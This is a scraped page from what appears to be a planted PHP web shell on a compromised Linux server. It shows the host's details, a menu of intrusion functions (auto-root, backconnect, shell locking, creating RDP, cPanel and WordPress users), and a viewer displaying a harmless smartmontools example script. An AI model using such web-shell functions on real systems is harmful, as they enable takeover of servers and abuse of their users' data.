Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 18.119.134.196
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
smartmontools-7.0 /
examplescripts /
[ HOME SHELL ]
Name
Size
Permission
Action
Example1
1.5
KB
-rw-r--r--
Example2
708
B
-rw-r--r--
Example3
691
B
-rw-r--r--
Example4
258
B
-rw-r--r--
Example5
166
B
-rw-r--r--
Example6
908
B
-rw-r--r--
README
1.71
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Example1
#! /bin/sh # # This is a script from the smartmontools examplescripts/ directory. # It can be used as an argument to the -M exec Directive in # /etc/smartd.conf, in a line like # -m root@localhost -M exec /path/to/this/file # # Please see man 8 smartd or man 5 smartd.conf for further # information. # # $Id: Example1 3958 2014-07-18 19:13:32Z chrfranke $ # Save standard input into a temp file cat > /root/tempfile # Echo command line arguments into temp file echo "Command line argument 1:" >> /root/tempfile echo $1 >> /root/tempfile echo "Command line argument 2:" >> /root/tempfile echo $2 >> /root/tempfile echo "Command line argument 3:" >> /root/tempfile echo $3 >> /root/tempfile # Echo environment variables into a temp file echo "Variables are": >> /root/tempfile echo "$SMARTD_DEVICE" >> /root/tempfile echo "$SMARTD_DEVICESTRING" >> /root/tempfile echo "$SMARTD_DEVICETYPE" >> /root/tempfile echo "$SMARTD_MESSAGE" >> /root/tempfile echo "$SMARTD_FULLMESSAGE" >> /root/tempfile echo "$SMARTD_ADDRESS" >> /root/tempfile echo "$SMARTD_SUBJECT" >> /root/tempfile echo "$SMARTD_TFIRST" >> /root/tempfile echo "$SMARTD_TFIRSTEPOCH" >> /root/tempfile # Run smartctl -a and save output in temp file /usr/sbin/smartctl -a -d $SMARTD_DEVICETYPE $SMARTD_DEVICE >> /root/tempfile # Email the contents of the temp file. Solaris and # other OSes may need to use /usr/bin/mailx below. /usr/bin/mail -s "SMART errors detected on host: `hostname`" $SMARTD_ADDRESS < /root/tempfile # And exit exit 0
Close